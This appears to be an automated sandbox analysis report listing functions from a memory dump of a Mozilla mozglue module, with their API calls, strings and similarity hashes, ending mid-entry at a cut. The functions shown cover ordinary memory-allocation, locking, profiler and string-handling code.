Function 6C9D76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9D76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9D7705

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9D7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9D778F,00000000,00000000,00000000,00000000), ref: 6C9D7731
free.MOZGLUE(00000000), ref: 6C9D7760

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: c554754e8e4470f0ef45d5a4e1feb4eebcc2f5893b837f41fd83c160565696db
Instruction ID: d707b50fcc8e2f165c002d8314ca8ff72692ee6b953e643dcab4b2e039a68931
Opcode Fuzzy Hash: c554754e8e4470f0ef45d5a4e1feb4eebcc2f5893b837f41fd83c160565696db
Instruction Fuzzy Hash: 8111E2B1904215ABE710AFB69C44BAFBEF8EF55754F14492AF888A7300E370984087E2

Function 6C9B0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C973DEF), ref: 6C9B0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C973DEF), ref: 6C9B0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C973DEF), ref: 6C9B0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9B0D97, 6C9B0DBE
<jemalloc>, xrefs: 6C9B0D92, 6C9B0DB9

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: edf0408016936585e87664958bafc5fc102b0dfe37b70c61fd52b2a75d3544ec
Instruction ID: 69590aa122a14409e0a33fdf72deaf2da8af85b536f3fba13eec2bbda23cf364
Opcode Fuzzy Hash: edf0408016936585e87664958bafc5fc102b0dfe37b70c61fd52b2a75d3544ec
Instruction Fuzzy Hash: E1F089B138439833E72025665F0AB5B266D67C2B65F345039F225FADC0DAB0E4514BA5

Function 6C9C7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9C75C4,?), ref: 6C9C762B

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7644
GetCurrentThreadId.KERNEL32 ref: 6C9C765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9C74D7,6C9D15FC,?,?,?), ref: 6C9C7677

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4e1eacd3fd43f4f3c50e9410af62da0b73c6d34df0cb5833f723672e552dcaf7
Instruction ID: 82894a29760adafa3c56300757d75f5cdbd520b62088913bb3ad4952d2a23076
Opcode Fuzzy Hash: 4e1eacd3fd43f4f3c50e9410af62da0b73c6d34df0cb5833f723672e552dcaf7
Instruction Fuzzy Hash: 9FF0C275E14746ABD7008F21D888676B778FFEA259F224316F90543601E7B0A5D08BD1

Function 6C9D1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9D1800

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

Strings

Details, xrefs: 6C9D1925
{marker.name} - {marker.data.name}, xrefs: 6C9D18C7
name, xrefs: 6C9D1939

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 3865ec67f53ddbb2e337faf25c6451e43234095db2dddbe3f8dd4f0bb44dd986
Instruction ID: b39b1cd2fce551212c7ce044125a533ec8f2592b1af4f8d45164edf178f5e1f6
Opcode Fuzzy Hash: 3865ec67f53ddbb2e337faf25c6451e43234095db2dddbe3f8dd4f0bb44dd986
Instruction Fuzzy Hash: F1710371A0074A9FCB04CF68D4807AABBB1FF95314F144669D8155BB41DB70FA98CBE2

Function 6C9DB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010,00000000,?,?,6C9DAB1F), ref: 6C9DB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010,00000000,?), ref: 6C9DB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9DB0A6,6C9DB0A6,?,6C9DAF67,?,00000010,?,6C9DAF67,?,00000010), ref: 6C9DB25F

Strings

map/set<T> too long, xrefs: 6C9DB1FA

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 46c7d764073b76cb02f1eb4e87a8c26885475b81e7f8e428a8a4d11a964accf1
Instruction ID: 67e9942c52a9cb11d5bfc4148af1ce03218ee7e5513db524610023a9b42ec714
Opcode Fuzzy Hash: 46c7d764073b76cb02f1eb4e87a8c26885475b81e7f8e428a8a4d11a964accf1
Instruction Fuzzy Hash: 3E61A934604A458FC701CF19C880A9ABBF5FF5A318F29C199D859ABB12C331FD45CB91

Function 6C99D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

EnterCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D4F2
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D50B

Part of subcall function 6C97CFE0: EnterCriticalSection.KERNEL32(6C9FE784), ref: 6C97CFF6
Part of subcall function 6C97CFE0: LeaveCriticalSection.KERNEL32(6C9FE784), ref: 6C97D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D52E
EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C99D690
LeaveCriticalSection.KERNEL32(6C9FE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9AD1C5), ref: 6C99D751

Strings

MOZ_CRASH(), xrefs: 6C99D4BB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b942c921620e646127782654a3c1691ae450ba77b64710d5016c4dbab84580e8
Instruction ID: 2e7e0db84fb3f9837b98ad5794626d567614efca4220aad113658b020a4eec21
Opcode Fuzzy Hash: b942c921620e646127782654a3c1691ae450ba77b64710d5016c4dbab84580e8
Instruction Fuzzy Hash: 9E51E372A087058FD314CF28C0D075AB7F5EB89708F28492ED5AAC7B84D771E801CB92

Function 6C9C4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C4721

Strings

., xrefs: 6C9C476A
profiler-paused, xrefs: 6C9C46E4
-%llu, xrefs: 6C9C4733

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 4ddadf74085ee24b6824636155a1f6d0dbbed2bec70ccd77faaf61b36550d429
Instruction ID: 5bdde5f676aaea3fdbb33c23d6c53f3c22155d6067016ec792f125e88f5ca930
Opcode Fuzzy Hash: 4ddadf74085ee24b6824636155a1f6d0dbbed2bec70ccd77faaf61b36550d429
Instruction Fuzzy Hash: DB414871B087089BC708DF78E85116EBBE5AF95748F24862EE8555BB81EB30D8148B43

Function 6C9E9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9E985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9E987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9E98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9E98D9

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 64125a6b88a179d373a84427f807039941ad37b1c88cc8ba109fb36cb8efbb9c
Instruction ID: 11448cd2232cd006a74a40dc15bb527284e21e6e79d6f5c5c22e232a08372c27
Opcode Fuzzy Hash: 64125a6b88a179d373a84427f807039941ad37b1c88cc8ba109fb36cb8efbb9c
Instruction Fuzzy Hash: 34310871B0020CAFDB14AF99DC445EE77A9DFA8318F50406DEA1A9BB40DB31D905CBE1

Function 6C9C46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C4721

Part of subcall function 6C974410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9B3EBD,00000017,?,00000000,?,6C9B3EBD,?,?,6C9742D2), ref: 6C974444

Strings

., xrefs: 6C9C476A
profiler-paused, xrefs: 6C9C46E4
-%llu, xrefs: 6C9C4733

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 639199b54721540d72f820a041f79e2cd1ecc8d7e26cbfa5360fcc216487eb5e
Instruction ID: 38fa5d5a7e1dde424a454326e7939121fdc013e64425037ce2094d153ac110d0
Opcode Fuzzy Hash: 639199b54721540d72f820a041f79e2cd1ecc8d7e26cbfa5360fcc216487eb5e
Instruction Fuzzy Hash: BD313971F043085BCB08CF6CE8912ADBBE6DB99714F24413EE8059BB81EB70D8048F92

Function 6C9CB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9CB127), ref: 6C9CB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9CB4E4

Strings

pid:, xrefs: 6C9CB4DE

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 149fa344ed1f20dbe613dc2110048e288ea270a3214ca82d7a6d7d78437e3d7d
Instruction ID: 3a2d6aa3c8c2bda6ff5f6423b1de76d950660fe7b75ce8aa85677af645214f81
Opcode Fuzzy Hash: 149fa344ed1f20dbe613dc2110048e288ea270a3214ca82d7a6d7d78437e3d7d
Instruction Fuzzy Hash: B6311031B05208DBDB10DFA9D880AEEB7B9BF15318F580529D91167A41D736E849CBE3

Function 6C9BE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BE577
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BE584
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9BE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9BE722, 6C9BE750, 6C9BE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9BE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9BE826, 6C9BE850
MOZ_PROFILER_STARTUP, xrefs: 6C9BE5A1, 6C9BE5CC, 6C9BE5FF, 6C9BE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9BE655

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: c6ff99e1a0b48c06f09d1da55fafcb718559ec0b5d46c2b8efbeca31c0e34c9f
Instruction ID: a77fe848e210e91dc20a85cf72b726d0c867b5eb5e5e51e26c9805f60f730760
Opcode Fuzzy Hash: c6ff99e1a0b48c06f09d1da55fafcb718559ec0b5d46c2b8efbeca31c0e34c9f
Instruction Fuzzy Hash: 5C118E31608358DFCB009F14D448A5EBBF8FB8932CF210619E9A557B50D770E806CBD5

Function 6C9C0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C0CD5

Part of subcall function 6C9AF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9AF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9C0D40
free.MOZGLUE ref: 6C9C0DCB

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

free.MOZGLUE ref: 6C9C0DDD
free.MOZGLUE ref: 6C9C0DF2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: f2d4750cf7124fbe3b5fdba98d5f896dbe4dff6972a17978fb90908f46b8c0c5
Instruction ID: 5c60e7d446cc6e3487f48c12ed59ea9d03e078acd80975e5fc5895631fff4727
Opcode Fuzzy Hash: f2d4750cf7124fbe3b5fdba98d5f896dbe4dff6972a17978fb90908f46b8c0c5
Instruction Fuzzy Hash: 4A4106B1A087809BD320CF29C04079AFBE5BFA9754F109A2EE8E887710D770D545CB83

Function 6C9B0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9B084C
EnterCriticalSection.KERNEL32(?), ref: 6C9B08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9B08BD
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B08D5

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 4b3880b0e153584705a06d7f22651e08cf61c4aba450ada1f0792b244ecf216f
Instruction ID: 6b57663b5b3a98c132e0ea938783464367b1be1985134301134308b36af6382b
Opcode Fuzzy Hash: 4b3880b0e153584705a06d7f22651e08cf61c4aba450ada1f0792b244ecf216f
Instruction Fuzzy Hash: D121D070B0524DABEB04CF65E844BAF7779AF84708F640568D519B7A00DF32E9048BD0

Function 6C9CCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCDA4

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

Part of subcall function 6C9CD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9CCDBA,00100000,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD158
Part of subcall function 6C9CD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9CCDBA,00100000,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCDC4

Part of subcall function 6C9C7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9D15FC,?,?,?,?,6C9D15FC,?), ref: 6C9C74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CCECC

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

Part of subcall function 6C9BCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9CCEEA,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000), ref: 6C9BCB57
Part of subcall function 6C9BCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9BCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9CCEEA,?,?), ref: 6C9BCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?,00000000,?), ref: 6C9CD058

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f533a351436a33a8d27e13ffe97990668ece6bf81c12864a0629cc739ba4c293
Instruction ID: 51e6b50d797dc3cc43382670e4bc6def63179e8b94e899902ce35da91d89d1c0
Opcode Fuzzy Hash: f533a351436a33a8d27e13ffe97990668ece6bf81c12864a0629cc739ba4c293
Instruction Fuzzy Hash: E3D16E71B04B06DFD708CF28C4807A9B7E1BF99308F05866DD85987752EB31E965CB82

Function 6C981720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9817B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9818EE
free.MOZGLUE(?), ref: 6C981911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98194C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 0bcbad708479e3c3e2892c3385fc6995d62b8c7d1dfb7cd9444bfe78017b92dd
Instruction ID: 9e2d251c4b1f9fac3518caf1b3fce2d67ca0b0e74fd1122a5e048cac2caaf067
Opcode Fuzzy Hash: 0bcbad708479e3c3e2892c3385fc6995d62b8c7d1dfb7cd9444bfe78017b92dd
Instruction Fuzzy Hash: 5281D670A162059FCB08CF68D8949FEBBB5FF8A314F44496CE821AB754D730E954CBA1

Function 6C995C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C995D40
